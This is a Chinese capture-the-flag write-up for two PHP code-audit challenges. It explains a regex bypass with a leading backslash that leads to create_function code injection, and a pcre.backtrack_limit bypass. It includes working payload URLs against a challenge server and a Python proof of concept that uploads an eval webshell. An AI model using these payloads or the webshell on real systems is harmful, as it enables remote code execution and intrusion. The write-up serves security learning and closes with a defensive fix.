p神 代码审计知识星球二周年wp[1],二周年wp


题目:https://code-breaking.com
参考文献:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://blog.csdn.net/while0/article/details/72276440

easy-function

源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

解题思路

  • 在数字字母下划线都被禁用的情况下调用函数,因为正则里面用了^$,就有可能在开头或结尾加入某个字符绕过正则且函数依旧能正常执行。最后发现\可以,不禁能绕过正则,还能使函数正常执行。
  • 正常执行的原因:
    php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样的调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种方法。
  • 任意函数调用,且函数的第二个参数可控。可使用create_function()
    利用create_function()代码注入
  • 一个简单的栗子
<?php
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
  • payload:
    http://localhost/2.php?id=2;}phpinfo();/*
  • 执行函数
源代码:
function fT($a) {
  echo "test".$a;
}
注入后代码:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}
  • 最终payload
遍历文件夹下的所有文件:
http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/*
拿到flag:
http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/*

easy-pcrewaf

源码

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

解题思路
判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。

先来分析下正则
正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
回溯的过程

直接看p神的分析就行,贼详细就不多加叙述了

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit

img_9c5c8eefceead65036deb03a15290cd3.png
回溯次数上限默认是100万
img_3ebbf2cc1bf10c41a1987c8bfae65eff.png
当回溯次数超过了100万,preg_match()返回false,不是1或0。则绕过了正则。

  • 最终的解决方式:
    通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
  • 大佬的poc:
import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

解决方案
如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值。

相关内容